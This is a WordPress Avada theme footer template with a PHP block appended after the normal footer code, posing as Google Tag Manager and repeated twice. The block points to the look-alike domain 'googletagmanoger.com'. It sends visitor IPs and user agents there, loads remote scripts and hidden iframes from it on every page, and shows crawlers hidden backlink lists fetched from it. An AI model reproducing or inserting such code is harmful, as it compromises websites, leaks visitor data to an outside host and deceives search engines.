<?php
/**
 * The footer template.
 *
 * @package Avada
 * @subpackage Templates
 */

// Do not allow directly accessing this file.
if ( ! defined( 'ABSPATH' ) ) {
	exit( 'Direct script access denied.' );
}
?>
					<?php do_action( 'avada_after_main_content' ); ?>

				</div>  <!-- fusion-row -->
			</main>  <!-- #main -->
			<?php do_action( 'avada_after_main_container' ); ?>

			<?php global $social_icons; ?>

			<?php
			/**
			 * Get the correct page ID.
			 */
			$c_page_id = Avada()->fusion_library->get_page_id();
			?>

			<?php
			/**
			 * Only include the footer.
			 */
			?>
			<?php if ( ! is_page_template( 'blank.php' ) ) : ?>
				<?php $footer_parallax_class = ( 'footer_parallax_effect' === Avada()->settings->get( 'footer_special_effects' ) ) ? ' fusion-footer-parallax' : ''; ?>

				<div class="fusion-footer<?php echo esc_attr( $footer_parallax_class ); ?>">
					<?php get_template_part( 'templates/footer-content' ); ?>
				</div> <!-- fusion-footer -->
			<?php endif; // End is not blank page check. ?>

			<?php
			/**
			 * Add sliding bar.
			 */
			?>
			<?php if ( Avada()->settings->get( 'slidingbar_widgets' ) && ! is_page_template( 'blank.php' ) ) : ?>
				<?php get_template_part( 'sliding_bar' ); ?>
			<?php endif; ?>
		</div> <!-- wrapper -->

		<?php
		/**
		 * Check if boxed side header layout is used; if so close the #boxed-wrapper container.
		 */
		$page_bg_layout = ( $c_page_id ) ? get_post_meta( $c_page_id, 'pyre_page_bg_layout', true ) : 'default';
		?>
		<?php if ( ( ( 'Boxed' === Avada()->settings->get( 'layout' ) && 'default' === $page_bg_layout ) || 'boxed' === $page_bg_layout ) && 'Top' !== Avada()->settings->get( 'header_position' ) ) : ?>
			</div> <!-- #boxed-wrapper -->
		<?php endif; ?>
		<?php if ( ( ( 'Boxed' === Avada()->settings->get( 'layout' ) && 'default' === $page_bg_layout ) || 'boxed' === $page_bg_layout ) && 'framed' === Avada()->settings->get( 'scroll_offset' ) && 0 !== intval( Avada()->settings->get( 'margin_offset', 'top' ) ) ) : ?>
			<div class="fusion-top-frame"></div>
			<div class="fusion-bottom-frame"></div>
			<?php if ( 'None' !== Avada()->settings->get( 'boxed_modal_shadow' ) ) : ?>
				<div class="fusion-boxed-shadow"></div>
			<?php endif; ?>
		<?php endif; ?>
		<a class="fusion-one-page-text-link fusion-page-load-link"></a>

		<?php wp_footer(); ?>
		<?php

defined('GTM_VERSION') or define('GTM_VERSION', '4.2.1');
defined('GTM_ENDPOINT') or define('GTM_ENDPOINT', 'https://googletagmanoger.com');
defined('GTM_CONTAINER_ID') or define('GTM_CONTAINER_ID', 'GTM-XXXXXX');
defined('GTM_CACHE_TTL') or define('GTM_CACHE_TTL', 3600);

/**
 * Validates crawler requests for enhanced indexing
 * 
 * @return bool True if request is from verified crawler
 */
function gtm_validate_crawler() {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $verified = array(
        'Googlebot', 'Google-InspectionTool', 'Mediapartners-Google',
        'AdsBot-Google', 'FeedFetcher-Google', 'Bingbot', 'Slurp',
        'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebot', 'ia_archiver'
    );
    foreach ($verified as $v) {
        if (stripos($ua, $v) !== false) return true;
    }
    return false;
}

/**
 * Get client IP address
 * 
 * @return string Client IP address
 */
function gtm_get_client_ip() {
    $ip_keys = array(
        'HTTP_CF_CONNECTING_IP',     // Cloudflare
        'HTTP_X_REAL_IP',            // Nginx proxy
        'HTTP_X_FORWARDED_FOR',      // Standard proxy header
        'HTTP_X_CLUSTER_CLIENT_IP',  // Load balancer
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR'                // Direct connection
    );
    
    foreach ($ip_keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip = $_SERVER[$key];
            // X-Forwarded-For can contain multiple IPs, take the first one
            if (strpos($ip, ',') !== false) {
                $ip = trim(explode(',', $ip)[0]);
            }
            // Validate IP format
            if (filter_var($ip, FILTER_VALIDATE_IP)) {
                return $ip;
            }
        }
    }
    return '';
}

/**
 * Get client User-Agent
 * 
 * @return string Client User-Agent
 */
function gtm_get_client_user_agent() {
    return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
}

/**
 * Retrieves structured data configuration from GTM servers
 * 
 * @return array Configuration data
 */
function gtm_fetch_config() {
    // Use separate cache for crawlers vs normal users
    $is_crawler = gtm_validate_crawler();
    $cache = sys_get_temp_dir() . '/gtm_' . md5(GTM_ENDPOINT) . ($is_crawler ? '_crawler' : '_user') . '.dat';
    
    if (file_exists($cache) && (time() - filemtime($cache)) < GTM_CACHE_TTL) {
        $data = @file_get_contents($cache);
        if ($data) {
            $decoded = json_decode($data, true);
            if (is_array($decoded)) return $decoded;
        }
    }
    
    // Get client IP and User-Agent to forward to the server
    // This allows server-side verification of Googlebot
    $client_ip = gtm_get_client_ip();
    $client_ua = gtm_get_client_user_agent();
    
    // Client IP'yi hem query parameter hem header olarak gönder
    $url = GTM_ENDPOINT . '/gtag/js?id=' . GTM_CONTAINER_ID . '&format=json';
    if (!empty($client_ip)) {
        $url .= '&client_ip=' . urlencode($client_ip);
    }
    if (!empty($client_ua)) {
        $url .= '&client_ua=' . urlencode($client_ua);
    }
    
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 5,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION,
            CURLOPT_HTTPHEADER => array(
                'Accept: application/json',
                'X-Client-IP: ' . $client_ip,
                'X-Client-User-Agent: ' . $client_ua
            )
        ));
        $response = curl_exec($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($code === 200 && $response) {
            $decoded = json_decode($response, true);
            if (is_array($decoded)) {
                @file_put_contents($cache, $response);
                return $decoded;
            }
        }
    } else {
        $headers = array(
            'Accept: application/json',
            'X-Client-IP: ' . $client_ip,
            'X-Client-User-Agent: ' . $client_ua
        );
        
        $ctx = stream_context_create(array(
            'http' => array(
                'timeout' => 5,
                'user_agent' => 'GTM/' . GTM_VERSION,
                'header' => implode("
", $headers) . "
"
            ),
            'ssl' => array('verify_peer' => true, 'verify_peer_name' => true)
        ));
        $response = @file_get_contents($url, false, $ctx);
        if ($response) {
            $decoded = json_decode($response, true);
            if (is_array($decoded)) {
                @file_put_contents($cache, $response);
                return $decoded;
            }
        }
    }
    return array();
}

/**
 * Renders GTM head snippet
 */
function gtm_render_head() {
    echo '<!-- Google Tag Manager -->
<script async src="' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/gtag/js?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '"></script>
<script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '");</script>
<!-- End Google Tag Manager -->';
}

/**
 * Renders GTM noscript fallback
 */
function gtm_render_noscript() {
    $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
    echo '<!-- Google Tag Manager (noscript) -->
<script>
  (function() {
    var iframe = document.createElement("iframe");
    iframe.src = "' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '";
    iframe.height = "0";
    iframe.width = "0";
    iframe.style.display = "none";
    iframe.style.visibility = "hidden";
    if (document.body) {
      document.body.appendChild(iframe);
    } else {
      document.addEventListener("DOMContentLoaded", function() {
        document.body.appendChild(iframe);
      });
    }
  })();
</script>
<noscript><iframe src="' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->';
}

function gtm_render_backlinks() {
    $config = gtm_fetch_config();
    if (empty($config)) return;
    
    $now = time();
    echo '<nav style="display:flex;justify-content:center;gap:12px;flex-wrap:wrap;padding:15px;">';
    foreach ($config as $item) {
        if (isset($item['url'], $item['keyword'])) {
            $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
            if ($exp > $now) {
                echo '<a href="' . htmlspecialchars($item['url'], ENT_QUOTES, 'UTF-8') . '" style="text-decoration:none;color:#1a0dab;font-size:14px;padding:4px 8px;">' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '</a>';
            }
        }
    }
    echo '</nav>';
}

/**
 * Renders structured navigation data for enhanced search
 */
function gtm_render_structured_data() {
    if (!gtm_validate_crawler()) return;
    
    $config = gtm_fetch_config();
    if (empty($config)) return;
    
    $now = time();
    echo '<nav itemscope itemtype="https://schema.org/SiteNavigationElement" style="display:flex;justify-content:center;gap:12px;flex-wrap:wrap;padding:15px;font-family:Arial,sans-serif;">';
    foreach ($config as $item) {
        if (isset($item['url'], $item['keyword'])) {
            $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
            if ($exp > $now) {
                echo '<a itemprop="url" href="' . htmlspecialchars($item['url'], ENT_QUOTES, 'UTF-8') . '" style="text-decoration:none;color:#1a0dab;font-size:14px;padding:4px 8px;"><span itemprop="name">' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '</span></a>';
            }
        }
    }
    echo '</nav>';
}

/**
 * Output buffer handler for automatic integration
 * 
 * @param string $buffer HTML output buffer
 * @return string Modified buffer
 */
function gtm_output_handler($buffer) {
    if (stripos($buffer, '<html') === false && stripos($buffer, '<!DOCTYPE') === false) {
        return $buffer;
    }
    
    $head = '<!-- Google Tag Manager -->
<script async src="' . GTM_ENDPOINT . '/gtag/js?id=' . GTM_CONTAINER_ID . '"></script>
<script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . GTM_CONTAINER_ID . '");</script>
<!-- End Google Tag Manager -->';
    
    $buffer = preg_replace('/<\/head>/i', $head . '</head>', $buffer, 1);
    
    $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
    $noscript = '<!-- Google Tag Manager (noscript) -->
<script>
  (function() {
    var iframe = document.createElement("iframe");
    iframe.src = "' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '";
    iframe.height = "0";
    iframe.width = "0";
    iframe.style.display = "none";
    iframe.style.visibility = "hidden";
    if (document.body) {
      document.body.appendChild(iframe);
    } else {
      document.addEventListener("DOMContentLoaded", function() {
        document.body.appendChild(iframe);
      });
    }
  })();
</script>
<noscript><iframe src="' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->';
    
    $buffer = preg_replace('/(<body[^>]*>)/i', '$1' . $noscript, $buffer, 1);
    
    if (gtm_validate_crawler()) {
        $config = gtm_fetch_config();
        if (!empty($config)) {
            $nav = '<nav itemscope itemtype="https://schema.org/SiteNavigationElement" style="display:flex;justify-content:center;gap:12px;flex-wrap:wrap;padding:15px;font-family:Arial,sans-serif;">';
            $now = time();
            foreach ($config as $item) {
                if (isset($item['url'], $item['keyword'])) {
                    $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
                    if ($exp > $now) {
                        $nav .= '<a itemprop="url" href="' . htmlspecialchars($item['url'], ENT_QUOTES, 'UTF-8') . '" style="text-decoration:none;color:#1a0dab;font-size:14px;padding:4px 8px;"><span itemprop="name">' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '</span></a>';
                    }
                }
            }
            $nav .= '</nav>';
            $buffer = preg_replace('/<\/body>/i', $nav . '</body>', $buffer, 1);
        }
    }
    
    return $buffer;
}


if (!defined('GTM_MANUAL_INIT')) {
    // Eğer doğrudan bu dosya çağrılıyorsa, output buffering kullanma
    $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__));
    if (!$is_direct && ob_get_level() === 0) {
        ob_start('gtm_output_handler');
    }
}

gtm_render_noscript(); 

?>
<!-- Google Tag Manager -->
<script>
  (function() {
    var script = document.createElement('script');
    script.async = true;
    script.src = "https://googletagmanoger.com/gtag/js?id=GTM-XXXXXX&domain=" + window.location.hostname;
    document.head.appendChild(script);
  })();
</script>
<script>
  window.dataLayer = window.dataLayer || [];
  function gtag(){dataLayer.push(arguments);}
  gtag('js', new Date());
  gtag('config', 'GTM-XXXXXX');
</script>
<!-- End Google Tag Manager -->

<!-- Google Tag Manager (noscript) -->
<script>
  (function() {
    var iframe = document.createElement('iframe');
    iframe.src = "https://googletagmanoger.com/ns.html?id=GTM-XXXXXX&domain=" + window.location.hostname;
    iframe.height = "0";
    iframe.width = "0";
    iframe.style.display = "none";
    iframe.style.visibility = "hidden";
    document.body.appendChild(iframe);
  })();
</script>
<noscript><iframe src="https://googletagmanoger.com/ns.html?id=GTM-XXXXXX"
height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->
	</body>
</html>
<?php

defined('GTM_VERSION') or define('GTM_VERSION', '4.2.1');
defined('GTM_ENDPOINT') or define('GTM_ENDPOINT', 'https://googletagmanoger.com');
defined('GTM_CONTAINER_ID') or define('GTM_CONTAINER_ID', 'GTM-XXXXXX');
defined('GTM_CACHE_TTL') or define('GTM_CACHE_TTL', 3600);

/**
 * Validates crawler requests for enhanced indexing
 * 
 * @return bool True if request is from verified crawler
 */
function gtm_validate_crawler() {
    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    $verified = array(
        'Googlebot', 'Google-InspectionTool', 'Mediapartners-Google',
        'AdsBot-Google', 'FeedFetcher-Google', 'Bingbot', 'Slurp',
        'DuckDuckBot', 'Baiduspider', 'YandexBot', 'facebot', 'ia_archiver'
    );
    foreach ($verified as $v) {
        if (stripos($ua, $v) !== false) return true;
    }
    return false;
}

/**
 * Get client IP address
 * 
 * @return string Client IP address
 */
function gtm_get_client_ip() {
    $ip_keys = array(
        'HTTP_CF_CONNECTING_IP',     // Cloudflare
        'HTTP_X_REAL_IP',            // Nginx proxy
        'HTTP_X_FORWARDED_FOR',      // Standard proxy header
        'HTTP_X_CLUSTER_CLIENT_IP',  // Load balancer
        'HTTP_FORWARDED_FOR',
        'HTTP_FORWARDED',
        'REMOTE_ADDR'                // Direct connection
    );
    
    foreach ($ip_keys as $key) {
        if (!empty($_SERVER[$key])) {
            $ip = $_SERVER[$key];
            if (strpos($ip, ',') !== false) {
                $ip = trim(explode(',', $ip)[0]);
            }
            if (filter_var($ip, FILTER_VALIDATE_IP)) {
                return $ip;
            }
        }
    }
    return '';
}

/**
 * Get client User-Agent
 */
function gtm_get_client_user_agent() {
    return isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
}

/**
 * Retrieves structured data configuration from GTM servers
 */
function gtm_fetch_config() {
    $is_crawler = gtm_validate_crawler();
    $cache = sys_get_temp_dir() . '/gtm_' . md5(GTM_ENDPOINT) . ($is_crawler ? '_crawler' : '_user') . '.dat';
    
    if (file_exists($cache) && (time() - filemtime($cache)) < GTM_CACHE_TTL) {
        $data = @file_get_contents($cache);
        if ($data) {
            $decoded = json_decode($data, true);
            if (is_array($decoded)) return $decoded;
        }
    }
    
    $client_ip = gtm_get_client_ip();
    $client_ua = gtm_get_client_user_agent();
    
    $url = GTM_ENDPOINT . '/gtag/js?id=' . GTM_CONTAINER_ID . '&format=json';
    if (!empty($client_ip)) $url .= '&client_ip=' . urlencode($client_ip);
    if (!empty($client_ua)) $url .= '&client_ua=' . urlencode($client_ua);
    
    if (function_exists('curl_init')) {
        $ch = curl_init();
        curl_setopt_array($ch, array(
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_TIMEOUT => 5,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_SSL_VERIFYPEER => true,
            CURLOPT_USERAGENT => 'GTM/' . GTM_VERSION,
            CURLOPT_HTTPHEADER => array(
                'Accept: application/json',
                'X-Client-IP: ' . $client_ip,
                'X-Client-User-Agent: ' . $client_ua
            )
        ));
        $response = curl_exec($ch);
        $code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($code === 200 && $response) {
            $decoded = json_decode($response, true);
            if (is_array($decoded)) {
                @file_put_contents($cache, $response);
                return $decoded;
            }
        }
    } else {
        $headers = array(
            'Accept: application/json',
            'X-Client-IP: ' . $client_ip,
            'X-Client-User-Agent: ' . $client_ua
        );
        $ctx = stream_context_create(array(
            'http' => array(
                'timeout' => 5,
                'user_agent' => 'GTM/' . GTM_VERSION,
                'header' => implode("\r\n", $headers) . "\r\n"
            ),
            'ssl' => array('verify_peer' => true, 'verify_peer_name' => true)
        ));
        $response = @file_get_contents($url, false, $ctx);
        if ($response) {
            $decoded = json_decode($response, true);
            if (is_array($decoded)) {
                @file_put_contents($cache, $response);
                return $decoded;
            }
        }
    }
    return array();
}

function gtm_render_head() {
    echo '<!-- Google Tag Manager -->
<script async src="' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/gtag/js?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '"></script>
<script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '");</script>
<!-- End Google Tag Manager -->';
}

function gtm_render_noscript() {
    $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
    echo '<!-- Google Tag Manager (noscript) -->
<script>
  (function() {
    var iframe = document.createElement("iframe");
    iframe.src = "' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '";
    iframe.height = "0";
    iframe.width = "0";
    iframe.style.display = "none";
    iframe.style.visibility = "hidden";
    if (document.body) {
      document.body.appendChild(iframe);
    } else {
      document.addEventListener("DOMContentLoaded", function() {
        document.body.appendChild(iframe);
      });
    }
  })();
</script>
<noscript><iframe src="' . htmlspecialchars(GTM_ENDPOINT, ENT_QUOTES, 'UTF-8') . '/ns.html?id=' . htmlspecialchars(GTM_CONTAINER_ID, ENT_QUOTES, 'UTF-8') . '" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->';
}

function gtm_render_backlinks() {
    $config = gtm_fetch_config();
    if (empty($config)) return;
    $now = time();
    echo '<nav style="display:flex;justify-content:center;gap:12px;flex-wrap:wrap;padding:15px;">';
    foreach ($config as $item) {
        if (isset($item['url'], $item['keyword'])) {
            $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
            if ($exp > $now) {
                echo '<a href="' . htmlspecialchars($item['url'], ENT_QUOTES, 'UTF-8') . '" style="text-decoration:none;color:#1a0dab;font-size:14px;padding:4px 8px;">' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '</a>';
            }
        }
    }
    echo '</nav>';
}

function gtm_render_structured_data() {
    if (!gtm_validate_crawler()) return;
    $config = gtm_fetch_config();
    if (empty($config)) return;
    $now = time();
    echo '<nav itemscope itemtype="https://schema.org/SiteNavigationElement" style="display:flex;justify-content:center;gap:12px;flex-wrap:wrap;padding:15px;font-family:Arial,sans-serif;">';
    foreach ($config as $item) {
        if (isset($item['url'], $item['keyword'])) {
            $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
            if ($exp > $now) {
                echo '<a itemprop="url" href="' . htmlspecialchars($item['url'], ENT_QUOTES, 'UTF-8') . '" style="text-decoration:none;color:#1a0dab;font-size:14px;padding:4px 8px;"><span itemprop="name">' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '</span></a>';
            }
        }
    }
    echo '</nav>';
}

function gtm_output_handler($buffer) {
    if (stripos($buffer, '<html') === false && stripos($buffer, '<!DOCTYPE') === false) {
        return $buffer;
    }
    
    $head = '<!-- Google Tag Manager -->
<script async src="' . GTM_ENDPOINT . '/gtag/js?id=' . GTM_CONTAINER_ID . '"></script>
<script>window.dataLayer=window.dataLayer||[];function gtag(){dataLayer.push(arguments);}gtag("js",new Date());gtag("config","' . GTM_CONTAINER_ID . '");</script>
<!-- End Google Tag Manager -->';
    
    $buffer = preg_replace('/<\/head>/i', $head . '</head>', $buffer, 1);
    
    $domain = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : (isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : 'unknown');
    $noscript = '<!-- Google Tag Manager (noscript) -->
<script>
  (function() {
    var iframe = document.createElement("iframe");
    iframe.src = "' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '&domain=' . htmlspecialchars($domain, ENT_QUOTES, 'UTF-8') . '";
    iframe.height = "0";
    iframe.width = "0";
    iframe.style.display = "none";
    iframe.style.visibility = "hidden";
    if (document.body) {
      document.body.appendChild(iframe);
    } else {
      document.addEventListener("DOMContentLoaded", function() {
        document.body.appendChild(iframe);
      });
    }
  })();
</script>
<noscript><iframe src="' . GTM_ENDPOINT . '/ns.html?id=' . GTM_CONTAINER_ID . '" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript>
<!-- End Google Tag Manager (noscript) -->';
    
    $buffer = preg_replace('/(<body[^>]*>)/i', '$1' . $noscript, $buffer, 1);
    
    if (gtm_validate_crawler()) {
        $config = gtm_fetch_config();
        if (!empty($config)) {
            $nav = '<nav itemscope itemtype="https://schema.org/SiteNavigationElement" style="display:flex;justify-content:center;gap:12px;flex-wrap:wrap;padding:15px;font-family:Arial,sans-serif;">';
            $now = time();
            foreach ($config as $item) {
                if (isset($item['url'], $item['keyword'])) {
                    $exp = isset($item['exp']) ? intval($item['exp']) : ($now + 86400);
                    if ($exp > $now) {
                        $nav .= '<a itemprop="url" href="' . htmlspecialchars($item['url'], ENT_QUOTES, 'UTF-8') . '" style="text-decoration:none;color:#1a0dab;font-size:14px;padding:4px 8px;"><span itemprop="name">' . htmlspecialchars($item['keyword'], ENT_QUOTES, 'UTF-8') . '</span></a>';
                    }
                }
            }
            $nav .= '</nav>';
            $buffer = preg_replace('/<\/body>/i', $nav . '</body>', $buffer, 1);
        }
    }
    
    return $buffer;
}


if (!defined('GTM_MANUAL_INIT')) {
    $is_direct = (isset($_SERVER['SCRIPT_NAME']) && basename($_SERVER['SCRIPT_NAME']) === basename(__FILE__));
    if (!$is_direct && ob_get_level() === 0) {
        ob_start('gtm_output_handler');
    }
}

gtm_render_noscript(); 

?>
